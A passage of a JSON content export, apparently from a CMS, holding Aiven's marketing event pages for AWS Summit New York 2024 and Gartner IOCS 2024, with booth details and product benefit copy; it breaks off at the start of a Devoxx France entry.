center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"items":[{"_key":"71194a52c6a6","_ref":"40ucogkq98cnZ5c9nSHFIF","_type":"reference"},{"_key":"c4ea7388215f","_ref":"9c8cc397-7b4c-44da-a1b3-c5b2d2d2af80","_type":"reference"},{"_key":"3558435060cb","_ref":"tVMArSxU5O2aohttt7Was","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded","showCompanyLogoAndTags":true,"title":"Organizations trust Aiven on AWS ","variant":"logo"},{"_key":"a7df905c9374","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"cb58bb6bdce9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"4d431fc92968","_type":"block","children":[{"_key":"9dcd6fc3eb9d0","_type":"span","marks":[],"text":"Aiven also provides "},{"_key":"9dcd6fc3eb9d1","_type":"span","marks":["2e3ca51a7f73"],"text":"AI-driven actionable insights"},{"_key":"9dcd6fc3eb9d2","_type":"span","marks":[],"text":" to speed up coding, optimize workloads, and reduce issue resolution time."}],"markDefs":[{"_key":"2e3ca51a7f73","_type":"link","href":"https://aiven.io/solutions/aiven-for-ai"}],"style":"normal"}],"title":"Accelerate application development"},{"_key":"4c1e68926472","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2fa3a2413261","_type":"block","children":[{"_key":"93413cc207c80","_type":"span","marks":[],"text":"Apply organizational policies once for security, disaster recover, and data governance across your data infrastructure."}],"markDefs":[],"style":"normal"}],"title":"Govern security and compliance"},{"_key":"e3656ce8a1f6","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"eb97c38f40ff","_type":"block","children":[{"_key":"9052957dd18a0","_type":"span","marks":[],"text":"Deploy Aiven in your existing AWS account to take advantage of your negotiated discounts."}],"markDefs":[],"style":"normal"}],"title":"Optimize cloud costs"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"#registration","title":"Schedule meeting"},"roundedCorners":"rounded-none","title":"Your trusted data \u0026 AI platform"},{"_key":"4669c45f4bd8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://aws.amazon.com/marketplace/seller-profile?id=37261588-4513-4d54-9ef9-195534d74a1b","title":"Learn more"},"roundedCorners":"rounded","subtitle":[{"_key":"c9ac496f1404","_type":"block","children":[{"_key":"bdd6ac0e42600","_type":"span","marks":[],"text":"Your one-stop shop for everything Aiven on AWS! Enjoy the best of Aiven and AWS through the marketplace."}],"markDefs":[],"style":"normal"},{"_key":"32da8e867e03","_type":"block","children":[{"_key":"892d5a11ab0e0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Available on AWS Marketplace","variant":"centerColumn"}],"eventDetails":[{"_key":"3722308110f3","_type":"block","children":[{"_key":"835340ded941","_type":"span","marks":[],"text":"Aiven is excited to attend and sponsor AWS Summit New York 2024! "}],"markDefs":[],"style":"normal"},{"_key":"96a8a160b2e0","_type":"block","children":[{"_key":"10ce5c8ae36c","_type":"span","marks":[],"text":"Visit "},{"_key":"96ab276eb363","_type":"span","marks":["strong"],"text":"booth 701"},{"_key":"ca7d925e5416","_type":"span","marks":[],"text":" to discuss:"}],"markDefs":[],"style":"normal"},{"_key":"11997fdac2d2","_type":"block","children":[{"_key":"599928773e220","_type":"span","marks":[],"text":"How you can optimize your cloud costs without compromising on uptime with Aiven (available on AWS Marketplace)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fd1702651c87","_type":"block","children":[{"_key":"c22b78708fca0","_type":"span","marks":[],"text":"Quickly provision data infrastructure needed for your Gen AI use case"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"382c1340c145","_type":"block","children":[{"_key":"af95d7b0b0290","_type":"span","marks":[],"text":"Build a resilient cloud architecture strategy that meets your security and compliance requirements"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"eventTime":"9:00am - 6:00pm ET","eventTitle":"AWS Summit New York 2024","iframeForm":{"iframeHeader":"Discuss AI, LLMs, cloud migrations and more! ","iframeHeight":900,"iframeSource":"https://go.aiven.io/l/890043/2024-06-04/tzdzf"},"image":{"_type":"mainImage","asset":{"_ref":"image-d34eb4542373b708eecdef524a641ebff99db082-2385x2054-png","_type":"reference"}},"partnersImage":{"_type":"mainImage","alt":"Logo Aiven at AWS Summit New York 2024","asset":{"_ref":"image-801962d394cc3bde0846d298e23b28d9924bb1db-1453x319-png","_type":"reference"}},"qualified":{"_type":"qualifiedExperienceLink","experienceId":"experience-1706626524327","title":"Book onsite meeting"},"registrationType":"iframe"},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/events/aws-reinvent-2023","title":"Register"},"region":"AMER","seo":{"_type":"metaData","metaDescription":"Meet with Aiven at booth 701 during AWS Summit Los Angeles 2024 and learn how our data and AI platform can help lower your cloud and infrastructure costs.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-9f8827a0423679cf11f8632a4a7fe973d8d3871a-1200x630-png","_type":"reference"}},"metaTitle":"AWS New York 2024"},"slug":{"_type":"slug","current":"/events/aws-summit-newyork-2024"},"startDate":"2024-07-10T13:00:00.000Z","title":"AWS Summit New York 2024","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-09-16T13:33:06Z","_id":"fc2ad626-4b3a-4588-86a8-31f79af6a571","_rev":"m9J08PkTQpQ5f1ESk1gRvW","_type":"event","_updatedAt":"2024-11-12T10:29:08Z","contentIsPage":true,"country":"US","description":[{"_key":"e417a87976cf","_type":"block","children":[{"_key":"b5e084bd99d30","_type":"span","marks":[],"text":"Visit Aiven at booth 216 to learn how a data and AI platform can help lower your cloud and infrastructure costs and build next-gen apps quickly and efficiently."}],"markDefs":[],"style":"normal"}],"endDate":"2024-12-12T22:30:00.000Z","linkTitle":"Meet with Aiven!","location":"Las Vegas, NV","pageType":{"_type":"eventPage","content":[{"_key":"74tjnsn38cpb7t4ci5jkn1ji7s1xojao","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"id":"benefit","items":[{"_key":"zvyc4hxf25s61jf9p7zgqvg2abkn8o44","_type":"tabItem","content":[{"_key":"5zknjy6e0lnqgmrcudix59dd0pwgq2ie","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-635a884182537257d97ac7d13e3e0ed89d3de4b1-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"3pk20t2e9a0lwkevm6pe8cz9n5s48t2s","_type":"block","children":[{"_key":"tivkg6ehuzh0i3y83jrpkejfvcggz54l","_type":"span","marks":[],"text":"Multi-cloud solutions"}],"markDefs":[],"style":"h4"},{"_key":"kqrkde0van1zscttcabvvrcmiti4pbmu","_type":"block","children":[{"_key":"qqfvbwg7jn8s8aw7yqpeivep5qiarj3k","_type":"span","marks":[],"text":"Aiven's capability to deploy to any cloud empowers your organization with:"}],"markDefs":[],"style":"normal"},{"_key":"5wvn2oegnni4arqi99nluzkgvthczq4l","_type":"block","children":[{"_key":"znp8u7zunn638fkep5a6yd6svbbwn3tt","_type":"span","marks":["strong"],"text":"Workload and Cost Optimization:"},{"_key":"8h0mp5kqsarifxugctp7hfg0ekql0ayp","_type":"span","marks":[],"text":" Choose the ideal cloud provider for each task to maximize performance and cost-efficiency. Benefit from competitive pricing across different cloud providers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"qnpogf64zb2b3ol1bjplxargkx5vjf7x","_type":"block","children":[{"_key":"0nag6kyk42flcbi6fd60rom0w3jk2kep","_type":"span","marks":["strong"],"text":"Risk Mitigation:"},{"_key":"53xiknno6eq4jbz2xx9x7wjytu342il8","_type":"span","marks":[],"text":" Distribute data and applications across regions and providers for enhanced business continuity."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"k5popch5fc6airzyodlbx7vgqgwa4var","_type":"block","children":[{"_key":"3cvbw5kxmlvcjjkk3tb6rzdteo3gmm93","_type":"span","marks":["strong"],"text":"Streamlined Operations:"},{"_key":"is8qk516vj6gqztk44pybmlpttlokt9n","_type":"span","marks":[],"text":" Manage your data infrastructure on a centralized platform across multiple clouds to reduce complexity and ensure compliance with data residency regulations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"},{"_key":"ztj0bx2kxshkghne4v9jziqw17twtwcg","_type":"iconList","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"v6od6bbbjno3akyytx2v6j490qlipx1b","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"4vubaeic4dht0kwmos0fjtcotsdmu2ge","_type":"block","children":[{"_key":"tkhl8wljuwyvk8nlw06x2mqffl3k9zc3","_type":"span","marks":[],"text":"Deploy on your preferred cloud providers (AWS, Google Cloud, Microsoft Azure, etc.)."}],"markDefs":[],"style":"normal"}],"title":"Flexibility and Choice"},{"_key":"10l2cxje9klfmlr2zcg786su0u734dz6","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"jp2ayjtho1q306794jspxwjunp3464uf","_type":"block","children":[{"_key":"hxdxlbehpkliqraaq1ri3svhjweqzbx2","_type":"span","marks":[],"text":"Leverage each cloud's strengths for specific workloads."}],"markDefs":[],"style":"normal"}],"title":"Performance Optimization"},{"_key":"pt9m2r1mkte5bbhwimyh40q6a3xrm66j","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"w745wn2gewlo9gs692m7twoaqhgel2qd","_type":"block","children":[{"_key":"m2g4mib6w3c9rg5xra9n16u97mmdth2l","_type":"span","marks":[],"text":"Leverage each cloud's strengths for specific workloads."}],"markDefs":[],"style":"normal"}],"title":"Compliance"},{"_key":"h7tv0449tzw9n2mwalzdkw8nq2frifvg","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"dut6w3h1s7zxek8s6rhg9v12vcw57lnm","_type":"block","children":[{"_key":"iksxnhz2jzywzj7qqpmg7pwqewbszkmk","_type":"span","marks":[],"text":"Benefit from competitive pricing across different cloud providers."}],"markDefs":[],"style":"normal"}],"title":"Cost Optimization"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false}],"id":"cloud-deployment","imageHeight":35,"title":"Deploy on any cloud"},{"_key":"39syyqkebr9lfajew04nt749bnx2fcp8","_type":"tabItem","content":[{"_key":"omldviali9j81oydinzlytz6buo77n78","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ea3d93b74e585101e7b69a41ab8add66390488ff-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"ijptuhypgjblmz6pamwfkpqzvqa0qkye","_type":"block","children":[{"_key":"nymtcv5oliy850tf5cubczkmk1mccjp2","_type":"span","marks":[],"text":"Bring Your Own Cloud (BYOC)"}],"markDefs":[],"style":"h4"},{"_key":"r4a991jk377jch9mzp6sb5mrm8cumunx","_type":"block","children":[{"_key":"6h12frxv97k0jmwglfamn0f7xalvnk1e","_type":"span","marks":[],"text":"Aiven offers flexible deployment options for your data services, catering to various business needs and preferences. Choose the deployment model that best aligns with your organization's priorities, whether it's convenience, cost savings, or maximum control."}],"markDefs":[],"style":"normal"},{"_key":"z5znbp7z05rtdtzv80sn2qtn4ajxqwq9","_type":"block","children":[{"_key":"9039qtihk8q8rkayzo5iyy97k5qjdl16","_type":"span","marks":["strong"],"text":"Aiven infrastructure:"},{"_key":"ejsmj83voesa0iomxsv2g1v39p3gi8bm","_type":"span","marks":[],"text":" A hassle-free solution where Aiven takes care of all cloud configurations, maintenance, and costs, allowing you to focus on your core business."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"v59ur9trefy6of2iwc2lxqr4oeyoctgo","_type":"block","children":[{"_key":"p3b3dxl85atjmh37s0or81s5hjd78h42","_type":"span","marks":["strong"],"text":"Bring Your Own Cloud (BYOC):"},{"_key":"ks8ln0vw2kjq3w2oabwtgj7odte85p2h","_type":"span","marks":[],"text":" Deploy Aiven services directly to your existing cloud account giving you greater control over your data and infrastructure. BYOC allows you to:"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"o5pop40pnn3svo3sy2xlutn05fhlrgyx","_type":"block","children":[{"_key":"g5cbsu8uqi9q7gnsyhzfxz3uqusfhz1x","_type":"span","marks":[],"text":"Leverage your existing cloud investments and negotiated discounts."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5kdvn02u2zz5rcbdvp9afllhnxfeqe6p","_type":"block","children":[{"_key":"87cat3tsf6j66s2c775g51s4ga0q1gbg","_type":"span","marks":[],"text":"Maintain strict control over your data and comply with specific security or regulatory requirements."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6je9e0zyhh7wuoojg2swrp6z8csjapfs","_type":"block","children":[{"_key":"k6wa7edeg1fhb3opnotqtjsu181rbmtf","_type":"span","marks":[],"text":"Customize your infrastructure to meet your unique needs."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cvp8kouwhbki6sodhuz2mgjptjgpj94s","_type":"block","children":[{"_key":"ey7b7c6sk4gdgcb0rnwz6offhfrdriaz","_type":"span","marks":[],"text":"Benefit from Aiven's expertise and support while retaining full control."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"byoc","imageHeight":35,"title":"Bring your own cloud"},{"_key":"hai6xnsr8mpry4gswrxhckza4u0k0bnq","_type":"tabItem","content":[{"_key":"bywz80m8u4wkwg1l3xgmd3wz2338shs1","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-c9c3daf8dc4477217535d7205e2cc50055e5e84b-2057x1524-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"qcbcp1vrlg75r6g1cr4hwocc2jvvsq0e","_type":"block","children":[{"_key":"sp9hrnf3ay66wrx0fl8rhtbpqedb32rz","_type":"span","marks":[],"text":"Choice of integrated open source services"}],"markDefs":[],"style":"h4"},{"_key":"5m61eqjiwa4kp4f1ijkcvkk85py7orvp","_type":"block","children":[{"_key":"3ynz4h1hsztts2c8mriikm72uugli7bv","_type":"span","marks":[],"text":"Build with Aiven's popular data services that best fit your specific use cases to "},{"_key":"l9ao1nuryjoes62pbzkut3ra5b3q9j9l","_type":"span","marks":["1fb1c803b1ba"],"text":"stream"},{"_key":"wa7n8hzjuqzp81k2nqw497ijmwv1u143","_type":"span","marks":[],"text":", "},{"_key":"7a7lg7posu2c3walw5kaasbreu08glu7","_type":"span","marks":["fb633db7c051"],"text":"store"},{"_key":"053dz9virxzwpydhuk0zaysdff1yobfv","_type":"span","marks":[],"text":", and "},{"_key":"yvyip9t8w12i9im3t52riko1m5xhilo3","_type":"span","marks":["02542751845d"],"text":"serve"},{"_key":"k8dwk3clsdh8r86h9e673ax5xjyigy29","_type":"span","marks":[],"text":" data to your systems and applications. "}],"markDefs":[{"_key":"hgw4183r41nj1yfphv8qpwg4p5zxw9rz","_type":"internalLink","internalLink":{"_ref":"70d94b51-4183-47e4-bce1-6672b43536ff","_type":"reference"}},{"_key":"y3hmutwuln377okcfavtk99xrq788twu","_type":"internalLink","internalLink":{"_ref":"13ecea8b-dacb-4056-af66-283caf0da0c3","_type":"reference"}},{"_key":"1iyxvdilpxd9ro8pf6ihr74o7ro9wcm1","_type":"internalLink","internalLink":{"_ref":"b073a6f0-4688-49f1-84b3-0246415ea9b2","_type":"reference"}}],"style":"normal"},{"_key":"xo9ieqhpqhqgp91s9l2q89hxesti0u62","_type":"block","children":[{"_key":"w6dfiaovxnecf6y0vlhecqv8tar153yw","_type":"span","marks":["strong"],"text":"Build faster with skilled talent:"},{"_key":"vdeka0vu1zjyhzxunberiaq6somhuc4m","_type":"span","marks":[],"text":" Gain access to the skills of a broad community of open source experts."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"mtrdawryqy4f9ci2amldejszx9i6zux1","_type":"block","children":[{"_key":"ycoyfh9xiwyuhcrntd8o8ev1osdtx048","_type":"span","marks":["strong"],"text":"Innovation and Collaboration: "},{"_key":"z3kia4lc1jouyi5jd5vb6935e8lj9srl","_type":"span","marks":[],"text":"Benefit from open source's collaborative culture which accelerates the development of new features and improvements."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"kw2bffmen62cuq2u22lcl4ra6yzggju9","_type":"block","children":[{"_key":"hkcnu1yzoicv5te8x409kcfvxld4sx0x","_type":"span","marks":["strong"],"text":"Security and Reliability: "},{"_key":"wcy2att39faqppuny9iu8g7ki8k9o1cp","_type":"span","marks":[],"text":"Improve security and reliability compared to proprietary software where the code is not publicly accessible. The open nature of open source ensures that many eyes are constantly reviewing and testing the code."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"open-choice","imageHeight":35,"title":"Open choice"},{"_key":"c5y6s1q1k51wupb3vp51i99ouovm1bfq","_type":"tabItem","content":[{"_key":"t5g0722a66ibu2ls6hl5m4w2crll9br8","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-9b01b0a773b4b098e15eebbda02b7d93243c2fe8-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"p6fa0fbmen2mmp08cu84nouv9z6jeidr","_type":"block","children":[{"_key":"rpx1qpfatuiplqv7t0qxa49x1rltj1uk","_type":"span","marks":[],"text":"Cross-cloud and cross-region disaster recovery "}],"markDefs":[],"style":"h4"},{"_key":"sw4ls40o4934zolf9yo8njkg4sh8bguj","_type":"block","children":[{"_key":"u0b02j8zq9q8mxj2nk8bop9nbgxfnslr","_type":"span","marks":[],"text":"Aiven enables your data infrastructure to be highly available, reliable, and operational even in the face of disruptions or failures."}],"markDefs":[],"style":"normal"},{"_key":"i24yitmwfoql7llg0v4t7po0tf4volww","_type":"block","children":[{"_key":"7tcf1o0savr3kugoh1q9594smpfbi5h2","_type":"span","marks":["strong"],"text":"High Availability:"},{"_key":"1w1i8b8g6caetkrvaje8rknrl6evytsk","_type":"span","marks":[],"text":" Leverage multiple availability zones, regions, and providers to ensure your data is replicated and distributed across different locations. If one location or provider experiences an outage, your services can seamlessly failover to another, minimizing downtime."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"hmxqumbch9ulr3bnx3aj0ftspoeub4bw","_type":"block","children":[{"_key":"kbxtg0i6a4vakzv6okjso8o4iszb6trt","_type":"span","marks":["strong"],"text":"Automated Backups and Recovery:"},{"_key":"sf9u95gt6ugv05cy2q2o4b07wnbhw1fv","_type":"span","marks":[],"text":" Aiven automatically creates backups of your data at regular intervals. In case of data loss or corruption, you can easily restore your data from these backups, ensuring business continuity."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"resiliency","imageHeight":35,"title":"Resiliency"},{"_key":"gecl7kbjx2bwl9004ip9oix3r4f3evcj","_type":"tabItem","content":[{"_key":"xudp4sezjb8zmb8p2achwz25slvw77xf","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-b8cbad57d7c3262bf8c339fba325e295bef25590-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"58rovaruj7g76xqin6segj37j8rz4q3o","_type":"block","children":[{"_key":"gztvu3vbkcp481i6zt1g74r0k1o0oyi0","_type":"span","marks":[],"text":"AI database optimization to boost efficiency"}],"markDefs":[],"style":"h4"},{"_key":"oyrdhlt7majiccfik5mdq2tm0pgt8cw2","_type":"block","children":[{"_key":"psyujw8dnhn6y676rizuk4ggs178d7s5","_type":"span","marks":["3de402f4ed96"],"text":"Aiven's AI Database Optimizer"},{"_key":"3zy1dotyr4xxsh3umucbypwxi4vckaqf","_type":"span","marks":[],"text":" quickly helps your organization understand how to tune your PostgreSQL and MySQL queries to save your organization engineering time, and money on your database bills."}],"markDefs":[{"_key":"ndhwrqq4albr50oyko44tutqi2nuvdgm","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"},{"_key":"9fohsh6gehbth4cfftc691gj9g4jm15z","_type":"block","children":[{"_key":"c9444zae0wk68sn52z7i24x7eb8qhkrf","_type":"span","marks":["strong"],"text":"Accelerate development:"},{"_key":"wd5ubvz4ld0kgixhq565otk7l74yo3h3","_type":"span","marks":[],"text":" Receive AI-driven index and SQL rewrite suggestions in minutes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cdoqg00g4l0rmfaz16zcddvuxto7e0a2","_type":"block","children":[{"_key":"mbdwl651i1m86n7jt6qbbmv524l7kh7f","_type":"span","marks":["strong"],"text":"Reduce incident resolution time:"},{"_key":"fyt3mi6cwlw2is9uh1kfoy6hspp0zsuu","_type":"span","marks":[],"text":" Gain real-time performance insights and optimization suggestions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"rdntvn0tzksquj7bivxq42gogg6mbv6i","_type":"block","children":[{"_key":"z7sm9fpvt4fq8yl1jjvqfahtn78zrnnm","_type":"span","marks":["strong"],"text":"Optimize before production:"},{"_key":"h0g42e7w1uqckbq5hoxof81dicogjxbo","_type":"span","marks":[],"text":" Ensure applications are performant and scalable before release."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"76ezbrpkqi9y65lg37grf9nkrfog2m4m","_type":"block","children":[{"_key":"14qsreu9srq6y2mbxzhhz7bt2rd3jk8t","_type":"span","marks":["strong"],"text":"Free up DBA resources:"},{"_key":"3nfyns76wftixgpu1dgini89qdpcoqlw","_type":"span","marks":[],"text":" Allow DBAs to focus on high-value tasks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"ai","imageHeight":35,"title":"AI database optimization"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Benefits of Aiven Platform","topOverlap":false,"variant":"button-toggle"},{"_key":"346399997719","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"56aeb57fbe4b","_ref":"bd660861-fdd6-4838-8c78-6a748995588e","_type":"reference"},{"_key":"20cc7db9d4b7","_ref":"13b9f7a4-7dfe-4ae2-9049-6c638f3cf289","_type":"reference"},{"_key":"7a4baa917bca","_ref":"9c8cc397-7b4c-44da-a1b3-c5b2d2d2af80","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","showCompanyLogoAndTags":true,"tagline":"Over 1000 customers worldwide","title":"Customer Stories","variant":"default"}],"eventDetails":[{"_key":"2474bff72b2e","_type":"block","children":[{"_key":"bfd525a07936","_type":"span","marks":[],"text":"Visit booth #216 to discuss Open Source at Scale and learn :"}],"markDefs":[],"style":"normal"},{"_key":"bb43c7d2e2c5","_type":"block","children":[{"_key":"41ed8cbe04c30","_type":"span","marks":[],"text":"How you can optimize your cloud costs without compromising on uptime with Aiven"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5893ed5219db","_type":"block","children":[{"_key":"7282454ae766","_type":"span","marks":[],"text":"How you can harness the speed and scalability of Aiven for AlloyDB Omni on any cloud"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"14d473c01a46","_type":"block","children":[{"_key":"e051c4ab9f9e0","_type":"span","marks":[],"text":"How to quickly provision data infrastructure needed for your Gen AI use case"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a93f024aa03a","_type":"block","children":[{"_key":"5a814d39b27c","_type":"span","marks":[],"text":"How to build resilient cloud architecture strategies, explore multi-cloud solutions, and always meet your security and compliance requirements"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"eventTime":"7:30 AM - 6:30 PM PST","eventTitle":"Meet with Aiven at Gartner IT IOCS 2024","iframeForm":{"iframeHeader":"Discuss Cloud, AI, and more!","iframeHeight":702,"iframeSource":"https://go.aiven.io/l/890043/2024-09-27/vhbgq"},"image":{"_type":"mainImage","asset":{"_ref":"image-ffb454d1a54de839781fb952f0d6eef8ecedf028-1789x1541-png","_type":"reference"}},"qualified":{"_type":"qualifiedExperienceLink","title":"Book onsite meeting"},"registrationType":"iframe"},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/events/aws-reinvent-2023","title":"Register"},"region":"AMER","seo":{"_type":"metaData","metaDescription":"Visit Aiven at booth #216 to learn how a data and AI platform can help lower your cloud \u0026 infrastructure costs and build next-gen apps quickly and efficiently.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-fa4c585826354ada9ddf0a5ddc08630f72a90875-1200x630-png","_type":"reference"}},"metaTitle":"Gartner IT IOCS 2024"},"slug":{"_type":"slug","current":"/events/iocs-2024"},"startDate":"2024-12-10T12:30:00.000Z","tags":[{"_key":"ce2ef3013761","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"}],"title":"Gartner IT Infrastructure, Operations \u0026 Cloud Strategies Conference 2024","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-03-28T11:44:46Z","_id":"bbaae92b-aab2-4077-ab66-53d8062a022d","_rev":"67bMqYmOBHw05z0ZRwjtuV","_type":"event","_updatedAt":"2024-03-28T11:44:46Z","contentIsPage":false,"country":"FR","description":[{"_key":"111abc67a49f","_type":"block","children":[{"_key":"bc77cebc9857","_type":"span","marks":[],"text":"Join Sebastien Blanc for his talk at Devoxx France, co-presented with Horacio Gonzalez from Clever Cloud). 